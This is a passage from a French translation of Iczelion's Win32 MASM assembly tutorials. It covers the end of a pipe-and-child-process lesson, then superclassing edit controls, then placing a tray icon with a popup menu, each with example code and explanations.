Ensuite nous devons remplir la structure STARTUPINFO. Nous appelons GetStartupInfo pour remplir la structure STARTUPINFO avec les valeurs par défaut du process parent. Vous DEVEZ remplir la structure STARTUPINFO avec cet appel si vous avez l'intention que votre code puisse travailler à la fois sous win9x et NT. Après les valeurs retournées par le Calll GetStartupInfo, vous pouvez modifier les membres qui sont importants. Nous copions l'handle d'écriture du bout du pipe dans hStdOutput et hStdError puisque nous voulons que le process enfant l'utilise au lieu des handles standards de Sortie/Erreur par défaut. Nous souhaitons aussi ne jamais afficher la 'fenêtre de console' du process enfant, donc nous mettons la valeur SW_HIDE dans le membre wShowWidow (on souhaite pas voir apparaitre la fenêtre DOS du programme ml.exe (qui est contrôlée par notre programme)) . Et finalement, nous devons indiquer que les membres hStdOutput, hStdError et wShowWindow sont valables (ils sont utilisables car ils sont porteur d'une information) et doivent être utilisés en plaçant les flags STARTF_USESHOWWINDOW et STARTF_USESTDHANDLES dans le membre dwFlags.

invoke CreateProcess, NULL, addr CommandLine, NULL, NULL, TRUE, NULL, NULL, NULL, addr startupinfo, addr pinfo

Nous créons maintenant le process enfant grâce au Call CreateProcess. Remarquez que le paramètre bInheritHandles doit être mis à TRUE pour que l'handle du pipe soit le même que son parent, et ainsi fonctionne normalement.

invoke CloseHandle,hWrite

Après que nous ayons créé le process enfant avec succès, nous devons fermer le bout d'écriture du pipe. Rappelez-vous que nous avons passé l'handle d'écriture au process enfant via la structure STARTUPINFO. Si nous ne fermons pas cet handle nous même, il y aura deux bouts d'écriture. Et alors le pipe ne fonctionnera pas. Nous devons fermer l'handle d'écriture : Après CreateProcess, mais aussi, Avant que nous ne lisions les données appartenant au bout de lecture du pipe.

.while TRUE
invoke RtlZeroMemory,addr buffer,1024
invoke ReadFile,hRead,addr buffer,1023,addr bytesRead,NULL
.if eax==NULL
.break
.endif
invoke SendMessage,hwndEdit,EM_SETSEL,-1,0
invoke SendMessage,hwndEdit,EM_REPLACESEL,FALSE,addr buffer
.endw

Maintenant nous sommes prêts à lire les données de la Sortie Standard du process enfant. Nous tournerons dans une boucle infinie jusqu'à ce qu'il n'y ait plus de données de lecture. Nous appelons RtlZeroMemory pour qu'il remplisse le buffer avec des zéros lors de l'appel ReadFile, en passant l'handle de lecture du pipe au lieu de l'handle d'un fichier (pour lire dans le Buffer et non dans un fichier). Notez bien que nous ne pouvons lire qu'un maximum de 1023 octets puisque nous avons besoin des données qu'en tant que chaîne de caractères ASCIIZ, lesquels nous pouvons maintenant passer au contrôle d'édition.
Lorsque ReadFile nous retourne les données du buffer, nous les envoyons dans le contrôle d'édition. Cependant, il y a un léger problème ici. Si nous employons SetWindowText pour mettre les données dans le contrôle d'édition, nos nouvelles données recouvriront et effaceront des données déjà existantes! Nous préférons plutôt que nos données s'ajoutent à la fin des données existantes.
Pour réussir à faire ça, nous devons d'abord déplacer notre curseur à la fin du texte dans le contrôle d'édition en envoyant le message EM_SETSEL avec wParam =-1. Ensuite, nous ajoutons les données à partir de ce point grâce au message EM_REPLACESEL.

invoke CloseHandle,hRead

Dès que ReadFile renvoie un NULL, nous sortons de la boucle de lecture et refermons alors l'handle de lecture.

Iczelion's Win32 Assembly Homepage

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 22: SuperClassing

Tutorial 22: Super-Classification
(Superclassing)

Dans ce Tutorial, nous allons voir, ce qu'est la superclassification et à quoi ça sert. Vous allez aussi apprendre à munir vos 'Controls' de la touche TAB. (vous savez ! en appuyant sur TAB on met en sélection les boutons ou le contrôle d'édition… les uns après les autres)
Downloadez l'exemple ici

Théorie:

Dans votre carrière de programmeur, vous avez certainement déjà rencontré une situation où vous avez eu besoin de plusieurs 'Controls' avec un comportement *peu* différent. Par exemple, vous pouvez avoir besoin de 10 'contrôles d'édition' qui acceptent seulement des nombres. Il y a plusieurs façons de réaliser ceci :
  • Créez votre propre 'Window Class' et instance.
  • Créez ce 'contrôle d'édition' et ensuite sous-classez chacun d'entre eux (les prochains).
  • Super-Classez le contrôle d'édition
La première méthode est trop ennuyeuse. On doit réaliser chaque fonctionnalité du contrôle d'édition par nous-même. Il vaut mieux laisser tomber ça. La deuxième méthode est meilleure que la première, mais c'est encore un travail de longue haleine. Ce ne sera avantageux que si vous sous-classez quelques 'controls' mais ce sera un véritable cauchemar si vous sous-classer plus d'une douzaine de 'Controls'. La super-classification est une technique plus adaptée pour cette occasion.
La sousclassification est la méthode qu'on doit utiliser pour *prendre le contrôle* d'une classe de fenêtre particulière. Par *la prise de contrôle*, je veux dire que vous pouvez modifier les propriétés de la (Window Class) classe de fenêtre pour la modeler à votre convenance, ainsi on crée une série de 'Controls'.
Les étapes de la superclassification sont décrites ci-dessous :
  • call GetClassInfoEx sert à obtenir l'information sur la 'Window Class' que vous voulez pour la superclasse. GetClassInfoEx exige que le pointer soit sur la structure WNDCLASSEX laquelle sera remplie en conséquence si cet appel est couronné de succès.
  • Modifiez les membres que vous voulez dans la structure WNDCLASSEX. Cependant, il y a deux membres que vous DEVEZ changer :
    • hInstance Vous devez mettre l'instance handle de votre programme dans ce membre.
    • lpszClassName Vous devez mettre ici le pointer qui est sur le nouveau 'class name'.

      • Normalement vous n'avez pas besoin de modifier le membre lpfnWndProc, cependent il est vrai que la plupart du temps vous y serez quand même obligé. Surtout, n'oubliez pas de sauver le membre lpfnWndProc d'origine puisqu'il faudra par la suite le repasser à la fonction CallWindowProc.
  • Enregistrez votre structure WNDCLASSEX modifiée. Vous aurez une nouvelle (Window Class) classe de fenêtre qui aura plusieurs des caractéristiques de la vieille classe de fenêtre.
  • Créez des fenêtres (objets) avec la nouvelle 'class'.
La superclassification, c'est mieux que la sousclassification si vous souhaitez créer pas mal de 'Controls' ayant les mêmes caractéristiques.

Exemple:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WM_SUPERCLASS equ WM_USER+5
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
EditWndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SuperclassWinClass",0
AppName db "Superclassing Demo",0
EditClass db "EDIT",0
OurClass db "SUPEREDITCLASS",0
Message db "You pressed the Enter key in the text box!",0

.data?
hInstance dd ?
hwndEdit dd 6 dup(?)
OldWndProc dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE+WS_EX_CONTROLPARENT,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,220,NULL,NULL,\
hInst,NULL
mov hwnd,eax

.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses ebx edi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL wc:WNDCLASSEX
.if uMsg==WM_CREATE
mov wc.cbSize,sizeof WNDCLASSEX
invoke GetClassInfoEx,NULL,addr EditClass,addr wc
push wc.lpfnWndProc
pop OldWndProc
mov wc.lpfnWndProc, OFFSET EditWndProc
push hInstance
pop wc.hInstance
mov wc.lpszClassName,OFFSET OurClass
invoke RegisterClassEx, addr wc
xor ebx,ebx
mov edi,20
.while ebx<6
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR OurClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
edi,300,25,hWnd,ebx,\
hInstance,NULL
mov dword ptr [hwndEdit+4*ebx],eax
add edi,25
inc ebx
.endw
invoke SetFocus,hwndEdit
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

EditWndProc PROC hEdit:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
.if uMsg==WM_CHAR
mov eax,wParam
.if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
.if al>="a" && al<="f"
sub al,20h
.endif
invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
ret
.endif
.elseif uMsg==WM_KEYDOWN
mov eax,wParam
.if al==VK_RETURN
invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SetFocus,hEdit
.elseif al==VK_TAB
invoke GetKeyState,VK_SHIFT
test eax,80000000
.if ZERO?
invoke GetWindow,hEdit,GW_HWNDNEXT
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDFIRST
.endif
.else
invoke GetWindow,hEdit,GW_HWNDPREV
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDLAST
.endif
.endif
invoke SetFocus,eax
xor eax,eax
ret
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
EditWndProc endp
end start

Analyse:

Le programme créera une simple fenêtre possédant dans son secteur client 6 contrôles d'édition "retouchés" . Les contrôles d'édition accepteront uniquement des chiffres hexdécimaux. En réalité, j'ai modifié l'exemple de 'Sousclassification' pour le transformer en superclassification. Le début du programme reste le même mais la partie intéressante c'est quand on crée la fenêtre principale :

.if uMsg==WM_CREATE
mov wc.cbSize,sizeof WNDCLASSEX
invoke GetClassInfoEx,NULL,addr EditClass,addr wc

Nous devons d'abord remplir la structure WNDCLASSEX avec les données de class que nous souhaitons imposer comme superclasse, dans ce cas, c'est (l'Edit Class) la classe D'ÉDITION. Rappelez-vous aussi que vous devez mettre le membre cbSize (de la structure WNDCLASSEX) avant que vous n'appeliez GetClassInfoEx, sinon la structure WNDCLASSEX ne sera pas correctement remplie. Après le retour de la fonction GetClassInfoEx, wc est rempli de toute l'information que nous avons besoin pour créer une nouvelle 'Window Class'.

push wc.lpfnWndProc
pop OldWndProc
mov wc.lpfnWndProc, OFFSET EditWndProc
push hInstance
pop wc.hInstance
mov wc.lpszClassName,OFFSET OurClass

Maintenant nous devons modifier certains membres de wc. Le premier c'est le pointer de la procédure de fenêtre. Puisque nous avons besoin d'enchaîner notre propre procédure de fenêtre avec l'originale, nous devons la sauvegarder dans une variable, c'est pourquoi on appelle CallWindowProc. Cette technique est identique à la sousclassification sauf que vous modifiez directement la structure WNDCLASSEX sans avoir besoin d'appeler SetWindowLong. Les deux membres suivants doivent aussi être modifiés, sinon vous serez dans l'incapacité d'enregistrer votre nouvelle 'Window Class', idem pour ce qui concerne hInstance et lpsClassName. Vous devez remplacer l'hInstance original par l'hInstance de votre propre programme. Et vous devez choisir un nouveau nom pour la nouvelle 'class'.

invoke RegisterClassEx, addr wc

Quand tout est enfin prêt, on enregistre la nouvelle classe. on obtient une nouvelle class qui a en commun quand même certaines caractéristiques de la vieille class.

xor ebx,ebx
mov edi,20
.while ebx<6
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR OurClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
edi,300,25,hWnd,ebx,\
hInstance,NULL
mov dword ptr [hwndEdit+4*ebx],eax
add edi,25
inc ebx
.endw
invoke SetFocus,hwndEdit

Maintenant que nous avons enregistré la class, nous pouvons y créer des fenêtres (objets) de base. Dans le susdit petit bout de code, j'emploie ebx en tant que compteur de nombre de fenêtres (objets de type Edit Controls) créées. edi est employé comme coordonnée 'Y' du coin gauche supérieur de la fenêtre. Quand une fenêtre est créée, son handle est stocké dans un tableau (informations de type dword). Quand toutes les fenêtres sont créées, le Focus est sur la première fenêtre. (Focus = ex : un bouton est encadré de pointillé où un contrôle d'édition est activée [curseur présent], alors c'est que le Focus est sur lui.)
À ce niveau, on a 6 contrôles d'édition qui acceptent uniquement des chiffres hexadécimaux. La procédure de fenêtre de substitution manipule les filtres (donc pas de caractère autres que 0-9 ou a-f). En réalité, c'est la même chose que pour la procédure de fenêtre de l'exemple de sousclassification. Donc, comme vous pouvez le voir, vous n'avez pas besoin de refaire le travail de sousclassification pour chacun des contrôles d'édition.

Pour rendre cet exemple encore plus intéressant, je rajoute un petit bout de code qui manipule le contrôle de navigation grâce à la touche TAB. Normalement, si vous mettez des 'Controls' dans une DialogBox, le manager de DialogBox gère les touches de navigation à votre place. De cette manière vous pouvez grâce à la touche TAB passer au contrôle suivant ou bien avec Shift-TAB revenir au contrôle précédent. Hélas, cette particularité n'est pas disponible si vous placez vos 'Controls' dans une simple fenêtre (au lieu d'une Dialog Box). Vous devez les sous-classer, comme ça vous pourrez gérer les touches TAB et Shift-TAB vous-même. Dans notre exemple, nous n'avons pas besoin de sous-classer les 'Controls' un à un vu qu'on les a déjà superclassés, ainsi nous pouvons fournir "un manager de navigation" pour ces Commun Controls.

.elseif al==VK_TAB
invoke GetKeyState,VK_SHIFT
test eax,80000000
.if ZERO?
invoke GetWindow,hEdit,GW_HWNDNEXT
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDFIRST
.endif
.else
invoke GetWindow,hEdit,GW_HWNDPREV
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDLAST
.endif
.endif
invoke SetFocus,eax
xor eax,eax
ret

Le susdit petit bout de code est la procédure EditWndClass. Il vérifie si l'utilisateur appuie sur la touche TAB, si c'est le cas, on appelle GetKeyState pour vérifier si la TOUCHE DES MAJUSCULES (SHIFT) est aussi pressée. GetKeyState renvoie une valeur dans eax qui détermine si la touche indiquée est pressée ou non. Si la touche est enfoncée, le Bit de poids fort de eax est mis à 1. Si 'SHIFT' n'est pas pressé, on laisse ce Bit à 0. Donc on compare la valeur de retour avec 80000000. Si le Bit de poids fort est à 8, ça signifie que l'utilisateur a appuyé sur shift+tab, que nous devons gérer séparément.
Un Dword , donc 32 bit donc (0000 0000 0000 0000 0000 0000 0000 0000)bin on met sa partie haute à 1 (1000 0000 0000 0000 0000 0000 0000 0000)bin =(8 0 0 0 0 0 0 0)h, car Masm manipule des décimaux par défaut.
Si l'utilisateur appuie seulement sur la touche TAB, nous appelons GetWindow pour retrouver l'handle du contrôle suivant. Nous utilisons le flag GW_HWNDNEXT pour dire à GetWindow de récupérer l'handle de la fenêtre qui suit la ligne du hEdit courant. Si cette fonction renvoie un NULL, on ne le considère pas comme un handle, ainsi le hEdit courant est le dernier contrôle. Nous "revenons" donc au premier contrôle en appelant GetWindow avec son flag GW_HWNDFIRST. C'est la même chose pour la configuration SHIFT-TAB que pour la touche TAB, sauf qu'on inverse tout.

[Iczelion's Win32 Assembly Homepage]
Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 23: Tray Icon

Tutorial 23: Icône de Barre de Taches
(Tray Icon)

Dans ce Tutorial, nous allons voir comment mettre des icônes dans le 'System Tray'(système de barre de tâches) et comment créer/employer un menu popup.
Downloadez l'exemple ici. Vous obtiendrez une fenêtre, qui si vous la réduisez au maximum placera son icône dans la barre de tâches au lieu de la laisser à côté du menu 'Démarrer'.

Théorie:

Le 'System Tray' est la région rectangulaire dans la barre de tâche où plusieurs icônes sont rangées. Normalement, vous y verrez au moins l'icône de l'horloge digitale. Vous pouvez aussi mettre des icônes sur le 'System Tray'. Ci-dessous voici les étapes que vous devez exécuter pour mettre une icône sur le 'System Tray' :
  1. Remplissez la structure NOTIFYICONDATA avec les membres suivants:
    • cbSize est la taille de cette structure.
    • hwnd est l'handle de la fenêtre qui recevra l'avis (l'information) quand un événement souris arrive au 'Tray Icon'. (le Tray Icon c'est donc l'Icône de notre programme lorsquelle est réduite dans la barre de tâches)
    • uID est une constante qui est employée comme identificateur de cette icône. C'est à vous de choisir cette valeur. Au cas où vous avez plus d'une 'Tray Icon', vous serez ainsi capables de vérifier sur quelle 'Tray Icon' la souris agit.
    • uFlags indique que les membres de cette structure sont valables.
      • NIF_ICON le membre 'hIcon' est valide.
      • NIF_MESSAGE le membre uCallbackMessage est valide.
      • NIF_TIP le membre szTip est valide.
    • uCallbackMessage est notre message créé sur mesures (custum message) que Windows enverra à la fenêtre spécifiée grâce au membre hwnd, lorsqu'on clique sur notre 'tray icon' avec la souris. Il faudra créez ce message par nous-même.
    • hIcon est l'handle de l'icône que l'on souhaite mettre dans le 'system tray'.
    • szTip est un tableau de 64 octets qui contient la chaîne de caractères qui sera employée en tant que texte 'tooltip' quand la souris plane au dessus du 'tray icon'. (un texte tooltip, vous savez! c'est une sorte de bulle qui sert à informer sur la nature d'un objet).
  2. Et enfin appelez la fonction Shell_NotifyIcon telle qu'elle est définie dans shell32.inc. Cette fonction a le prototype suivant :

    3. Shell_NotifyIcon PROTO dwMessage:DWORD ,pnid:DWORD

    dwMessage est le type de message à envoyer au Shell.
    NIM_ADD ajoute une icône dans le secteur du System Tray.
    NIM_DELETE supprime une icône du secteur de statut.
    NIM_MODIFY modifie une icône dans le secteur de statut.
    pnid est le pointer qui est sur la structure NOTIFYICONDATA. Elle doit être remplie des valeurs appropriées.
    Si vous voulez ajouter une icône dans le 'System Tray', vous devez utiliser le message NIM_ADD, si vous voulez enlever l'icône, il faut employer NIM_DELETE.

C'est tous pour le moment. Mais la plupart du temps, on ne se contente pas seulement de mettre une icône à cet endroit. On a besoin d'être capables de répondre aux événements (au clique) de la souris sur un 'tray icon'. On peut faire ça en traitant le message que nous avons spécifié dans le membre uCallbackMessage de la structure NOTIFYICONDATA. Ce message porte avec lui les valeurs suivantes dans wParam et lParam (un petit remerciement spécial à s__d pour ses renseignements) :
  • wParam contient l'ID de l'icône. C'est la même valeur que celle que vous mettez dans le membre uID de structure NOTIFYICONDATA.
  • lParam est le mot de poids fable qui contient le message de la souris. Par exemple, si l'utilisateur effectue un clique droit sur l'icône, lParam contiendra WM_RBUTTONDOWN.
Cependant, beaucoup de 'Tray Icons' déploient un menu popup quand l'utilisateur clique dessus. Nous pouvons exécuter cette particularité en créant un menu popup et en appelant ensuite TrackPopupMenu pour l'afficher. Les étapes sont décrits ci-dessous :
  1. Créez un menu popup en appelant CreatePopupMenu. Cette fonction crée un menu vide. Elle renvoie l'handle du menu dans eax, en cas de succès.
  2. Ajoutez-y des Items de menu grâce à AppendMenu, InsertMenu or InsertMenuItem.
  3. Lorsque vous souhaitez montrer le menu popup à l'endroit où est placée le curseur de la souris, appelez GetCursorPos pour obtenir la coordonnée du curseur sur l'écran puis appeler ensuite TrackPopupMenu pour afficher le menu. Quand l'utilisateur choisit un Item (un article) du menu popup (c'est aussi un sous menu si vous préférez), Windows envoie le message WM_COMMAND à votre procédure de fenêtre exactement comme pour une sélection d'un menu normal.
Note : Prenez garde à deux choses un peu ennuyeuses lorsque vous utilisez un menu popup avec un 'Tray Icon' :
  1. Si vous cliquez n'importe où à l'extérieur du menu popup lorsqu'il est affiché, celui-ci ne disparaîtra pas immédiatement comme il devrait le faire. Ça se passe comme ça parce que la fenêtre qui recevra les avis du menu popup DOIT ÊTRE la fenêtre de premier plan. Le simple appel SetForegroundWindow corrigera ce défaut.
  2. Après l'appel SetForegroundWindow, vous constaterez que la toute première fois où le menu popup est affiché, ça fonctionne bien mais les fois suivantes, notre menu popup s'ouvrira puis se fermera immédiatement. Ce comportement n'est "pas intentionnel", pour citer MSDN. Le Manager de tâche du programme, lequel contrôle le 'tray icon', est nécessaire. Vous pouvez forcer ce Manager de tâche en postant n'importe quel message à la fenêtre du programme. Utilisez juste le simple message 'PostMessage', et non pas 'SendMessage'!

Exemple:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib

WM_SHELLNOTIFY equ WM_USER+5
IDI_TRAY equ 0
IDM_RESTORE equ 1000
IDM_EXIT equ 1010
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "TrayIconWinClass",0
AppName db "TrayIcon Demo",0
RestoreString db "&Restore",0
ExitString db "E&xit Program",0

.data?
hInstance dd ?
note NOTIFYICONDATA <>
hPopupMenu dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW or CS_DBLCLKS
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL pt:POINT
.if uMsg==WM_CREATE
invoke CreatePopupMenu
mov hPopupMenu,eax
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_RESTORE,addr RestoreString
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_EXIT,addr ExitString
.elseif uMsg==WM_DESTROY
invoke DestroyMenu,hPopupMenu
invoke PostQuitMessage,NULL
.elseif uMsg==WM_SIZE
.if wParam==SIZE_MINIMIZED
mov note.cbSize,sizeof NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID,IDI_TRAY
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
mov note.uCallbackMessage,WM_SHELLNOTIFY
invoke LoadIcon,NULL,IDI_WINLOGO
mov note.hIcon,eax
invoke lstrcpy,addr note.szTip,addr AppName
invoke ShowWindow,hWnd,SW_HIDE
invoke Shell_NotifyIcon,NIM_ADD,addr note
.endif
.elseif uMsg==WM_COMMAND
.if lParam==0
invoke Shell_NotifyIcon,NIM_DELETE,addr note
mov eax,wParam
.if ax==IDM_RESTORE
invoke ShowWindow,hWnd,SW_RESTORE
.else
invoke DestroyWindow,hWnd
.endif
.endif
.elseif uMsg==WM_SHELLNOTIFY
.if wParam==IDI_TRAY
.if lParam==WM_RBUTTONDOWN
invoke GetCursorPos,addr pt
invoke SetForegroundWindow,hWnd
invoke TrackPopupMenu,hPopupMenu,TPM_RIGHTALIGN,pt.x,pt.y,NULL,hWnd,NULL
invoke PostMessage,hWnd,WM_NULL,0,0
.elseif lParam==WM_LBUTTONDBLCLK
invoke SendMessage,hWnd,WM_COMMAND,IDM_RESTORE,0
.endif
.endif
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

end start

Analyse:

Notre programme affichera une simple fenêtre. Lorsque vous appuyez sur le bouton de réduction (au minimum), il se cachera et mettra une icône dans le 'system tray' tout en bas à droite à côté de votre horloge. Quand vous double cliquez sur l'icône, le programme se rétablira et enlèvera l'icône du 'system tray'. Quand vous simple-cliquez dessus, un menu popup est affiché. Grâce à ce menu, vous pourrez soit le rétablir (réagrandir) soit en sortir.

.if uMsg==WM_CREATE
invoke CreatePopupMenu
mov hPopupMenu,eax
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_RESTORE,addr RestoreString
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_EXIT,addr ExitString

Quand la fenêtre principale est créée, on crée un menu popup et on y ajouter deux Items (deux sous-menu). La fonction 'AppendMenu' a la syntaxe suivante :

AppendMenu PROTO hMenu:DWORD, uFlags:DWORD, uIDNewItem:DWORD, lpNewItem:DWORD
  • hMenu est l'handle du menu auquel vous voulez ajouter l'Item.
  • uFlags indique à Windows si l'Item du menu qui doit y être ajouté est un bitmap ou bien une chaîne de caractères ou bien encore un Item possédant d'autres sous-Items, activé (enable), grisé (gray) ou désactivé (disable) etc. Vous pouvez obtenir la liste complète avec la référence API Win32. Dans notre exemple, nous employons MF_STRING ce qui signifie que l'Item du menu est une simple chaîne de caractères.
  • uIDNewItem est l'ID de l'Item du menu. C'est une valeur définie par l'utilisateur, elle est employée pour représenter l'Item du menu.
  • lpNewItem est le contenu de l'Item, d'après ce que vous avez spécifié dans le membre uFlags. Puisque nous mettons MF_STRING dans le membre uFlags, lpNewItem doit contenir le pointer qui est sur la chaîne de caractères qui doit être affichée dans le menu popup.
Après que le menu popup ai été créé, la fenêtre principale attend patiemment que l'utilisateur appuie sur le bouton de réduction (minimum).
Quand une fenêtre est réduite au minimum, elle reçoit le message WM_SIZE avec la valeur SIZE_MINIMIZED dans wParam.

.elseif uMsg==WM_SIZE
.if wParam==SIZE_MINIMIZED
mov note.cbSize,sizeof NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID,IDI_TRAY
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
mov note.uCallbackMessage,WM_SHELLNOTIFY
invoke LoadIcon,NULL,IDI_WINLOGO
mov note.hIcon,eax
invoke lstrcpy,addr note.szTip,addr AppName
invoke ShowWindow,hWnd,SW_HIDE
invoke Shell_NotifyIcon,NIM_ADD,addr note
.endif

Nous profitons de cette occasion pour remplir la structure NOTIFYICONDATA. 'IDI_TRAY' est juste une constante définie au début du code source. Vous pouvez lui donner la valeur que vous souhaitez. Ce n'est pas important puisque on a seulement un seul 'Tray Icon'. Mais si on en avait plusieurs dans notre 'System Tray', on aurait besoin d'IDs uniques pour chaque 'tray icon'. On définit tous les flags suivants dans le membre uFlags parce que nous spécifions une icône (NIF_ICON), nous spécifions un (message sur mesure NIF_MESSAGE et nous spécifions le texte tooltip (NIF_TIP) (Le texte qui est pésenté dans une bulle). WM_SHELLNOTIFY est seulement un message sur mesure (custum) défini comme WM_USER+5. La valeur réelle n'est pas importante tant qu'elle reste unique. Ici, j'emploie l'icône winlogo comme 'tray icon' mais vous pouvez employer n'importe quelle icône dans votre programme. Chargez-le juste en ressource avec LoadIcon et mettez l'handle renvoyé dans le membre hIcon. Finalement, nous mettons (dans szTip) le texte que nous voulons que la bulle affiche lorsque la souris passe au dessus de notre icône.
Nous cachons la fenêtre principale pour donner l'illusion de sa disparition en la "réduisant au minimum en une icône du 'System Tray'".
Ensuite nous appelons Shell_NotifyIcon avec le message NIM_ADD pour ajouter une icône au system tray.

Maintenant notre fenêtre principale est cachée et l'icône est réduite dans le 'System Tray'. Si vous passez la souris au-dessus, vous verrez un tooltip (une bulle) qui montre le texte que nous avons mis dans le membre szTip. Ensuite, si vous double cliquez sur l'icône, la fenêtre principale réapparaîtra et le 'tray icon' disparaîtra.

.elseif uMsg==WM_SHELLNOTIFY
.if wParam==IDI_TRAY
.if lParam==WM_RBUTTONDOWN
invoke GetCursorPos,addr pt
invoke SetForegroundWindow,hWnd
invoke TrackPopupMenu,hPopupMenu,TPM_RIGHTALIGN,pt.x,pt.y,NULL,hWnd,NULL
invoke PostMessage,hWnd,WM_NULL,0,0
.elseif lParam==WM_LBUTTONDBLCLK
invoke SendMessage,hWnd,WM_COMMAND,IDM_RESTORE,0
.endif
.endif

Quand un événement souris arrive au tray icon (un clique de souris sur notre icône), notre fenêtre reçoit le message WM_SHELLNOTIFY qui est le message fait sur mesure que nous avons déclaré dans le membre uCallbackMessage. Rappelons-nous qu'à la réception de ce message, wParam contient l'ID du 'tray icon' et lParam contient le message actuel de la souris. Dans le code ci-dessus, nous vérifions d'abord si ce message vient du 'tray icon' auquel nous nous intéressons. Si c'est le cas, on vérifie le message actuel de la souris. Puisque nous sommes uniquement intéressés au 'clique droit de la souris' et au "double clique gauche", on s'occupe seulement des messages WM_RBUTTONDOWN et WM_LBUTTONDBLCLK.
